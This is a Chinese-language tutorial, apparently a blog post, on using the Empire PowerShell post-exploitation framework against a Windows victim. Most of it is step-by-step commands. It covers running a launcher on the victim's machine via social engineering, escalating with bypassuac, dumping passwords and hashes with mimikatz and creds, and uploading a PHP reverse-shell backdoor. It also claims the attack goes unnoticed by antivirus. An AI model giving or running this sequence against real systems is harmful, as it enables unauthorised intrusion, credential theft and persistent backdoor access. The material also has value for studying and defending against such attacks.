导语:本文为大家准备的是Empire的初级指南。据官网介绍“Empire是纯PowerShell后渗透利用代理”,建立在加密的安全通信和灵活的架构之上。
大家好,今天本文为大家准备的是Empire的初级指南。据官网介绍“Empire是纯PowerShell后渗透利用代理”,建立在加密的安全通信和灵活的架构之上。
Empire—PowerShell后渗透利用代理
Empire实现了无需powershell.exe就可以运行powershell代理的能力,可快速部署后渗透利用模块,从键盘记录器到mimikatz,还有自适应良好的通信机制来绕过网络监测,这些功能都集成在注重实用性的框架上。
本教程中,我们会讲解该软件所有你需要了解的知识点,从安装到getshell,甚至是在av毫无察觉的情况下获取admin访问权限。
在开始之前,你需要了解下面这4个概念。
· Listener:
· Stager:
· Agent:
· Module:
了解完之后我们就可以进入正文了。
使用方法:
1.创建listener
2.启用listener
3.使用launcher启动一个powershell
4.在目标靶机上执行代码
5.与代理交互
6.执行多种模块
7.绕过UAC来获取admin权限
首先,我们要去GitHub上下载Empire,使用下面这条命令:
git clone https://github.com/EmpireProject/Empire.git
进入到安装目录,运行install.sh文件,如图:
等待安装完成,这需要一小会儿时间。它会弹窗提示你输入密码,我这里的密码是toor。
安装完成后,返回上一级目录,输入./empire来运行empire。
可以输入help命令来查看基本的选项和帮助,如图:
根据我们开始提到的方法,我们需要先在本机上创建一个listener,输入下列命令:
Listeners
它会提示说当前没有激活的listener,不过不用担心,我们现在已经进入了一个listener交互模式,输入以下命令:
uselistener http
这条命令是在本地80端口上创建listener。如果80端口被其他服务占用,比如Apache,请确保关掉该服务。
注意:当你双击tab键时,会出现所有的可选项,这在所有Linux中都一样。所以,输入uselistener,然后双击tab键,就会显示所有的监听器,选择一个,然后输入execute执行:
execute
这条命令会执行该listener,然后返回,启动powershell listener,命令如下:
launcher powershell http
上面执行的这些命令如图所示:
现在我们需要做的就是将图片中框起来的powershell代码复制到受害主机的命令行窗口中,通过社工的方法。现在假设我们已经能够访问受害主机的命令行,我们将代码复制到cmd中,如图:
复制完之后,只要你一按回车,你将会在empire界面中开到一个激活的agent。恶意powershell代码执行后,返回到主目录,使用main命令:
main
这里你就可以看到这个激活的agent了。
agents interact <agent name>
你也可以对这个agent进行重命名,选择一个更简单好记的名字,使用rename命令即可:
rename <agent name> raajpc
现在,要获得admin shell,需要执行bypassuac命令,如下:
bypassuac http
在当前交互界面下,可以使用list命令来查看所有的列表。这里,在agent界面中,它就显示了所有的agents列表。
list
我们对admin agent进行重命名为一个简单的名字,如下:
rename <admin agent name> adminraj
上面这些操作的命令,如图所示:
现在你可以看到,我们使用bypassuac获得了一个新的admin shell,并且重命名为adminraj。现在我们与adminraj进行交互:
interact adminraj
还是一样,输入两个tab键,显示所有选项。有一些选项对后渗透非常有帮助,比如info,job,list等等,如图所示:
现在我们尝试执行mimikatz来获取用户密码。因为在普通用户的shell中是无法执行mimikatz的,只能在admin shell中执行,这也表明了我们已经获取了admin shell,因为我们可以执行mimikatz。
执行之后,可以看到raj用户的密码是123,如图:
还有creds命令,也很有帮助,它可以dump任何用户的凭证或者密码,并且明文和hash值都会dump出来。
另一个比较重要的是shell命令。要想在受害主机的shell中执行Microsoft的Windows命令,我们可以使用shell命令,比如我们想执行Windows的netstat命令:
shell netstat -ano
跟在Windows cmd中执行一样,会显示当前主机中所有使用中的端口。上面两条命令如图所示:
由于默认的shell路径是Windows中的”C:/windows/system32/”,我们现在切换到另一个目录并且尝试从另一个目录中下载文件,当然我们也可以上传文件,比如,我们可以上传一个后门!!!
shell cd C:\Users\raj\Desktop shell dir download 6.png
上述命令会从Windows桌面下载一张名为6.png的图片到empire的downloads目录中。
上传后门:
upload /root/Desktop/revshell.php
这里我们可以上传任何后门,这条命令是将kali桌面上的revshell.php这个PHP后门文件上传到受害主机的桌面中,我们甚至可以调用这个文件,因为我们具有shell访问权限!如图:
下载的图片位置在这里,使用命令查看:
Empire directory/downloads/<agent name>/<agent shell location>ls
shell dir
这条命令查看当前目录下的文件,可以看到我们确实是上传了revshell.php文件,这就是我们的后门文件,如图:
本文到这里就结束了,希望大家有所收获。